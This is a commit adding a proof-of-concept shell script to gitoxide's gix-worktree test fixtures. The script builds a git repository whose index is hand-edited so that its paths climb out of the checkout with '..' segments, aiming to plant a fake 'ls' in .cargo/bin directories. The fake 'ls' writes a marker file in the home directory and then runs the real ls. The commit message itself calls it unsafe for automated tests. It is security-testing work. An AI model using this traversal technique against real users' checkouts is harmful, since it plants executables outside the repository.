Start on demo script making repo with .. trees, deploying above repo

This should not be incorporated into automated tests in its current
form. It is a proof of concept to generate repositories that attempt
to install real executables in directories where they may be run,
whereas test fixtures should completely limit all effects to testing
directories, even in the event of regressions or unexpected failures.

Author: EliahKagan

gix-worktree/tests/fixtures/make_traverse_dotdot_trees.sh

@@ -0,0 +1,33 @@
+#!/bin/sh
+# TODO: Before using in tests, limit this to never target real bin dirs!
+set -eu
+
+repo="$1"
+bin='.cargo/bin'
+
+git init -- "$repo"
+cd -- "$repo"
+
+for dir in .a .b .c .d .e .f .g .h .i .j; do
+    mkdir -- "$dir"
+    touch -- "$dir/.keep"
+done
+
+cat >ls.tmp <<'EOF'
+#!/bin/sh
+printf 'Vulnerable!\n'
+date >~/vulnerable
+exec /bin/ls "$@"
+EOF
+
+upward='..'
+for dir in .a .b .c .d .e .f .g .h .i .j; do
+    upward="../$upward"  # So .a has ../.., then .b has ../../.., and so on.
+    cp -- ls.tmp "$(printf '%s' "$dir/$upward/$bin/ls" | tr / @)"
+done
+
+rm ls.tmp
+git add .
+ex -s -c '%s/@\.\./\/../g' -c 'x' .git/index  # Replace each "@.." with "/..".
+git commit -m 'Initial commit'
+git show --stat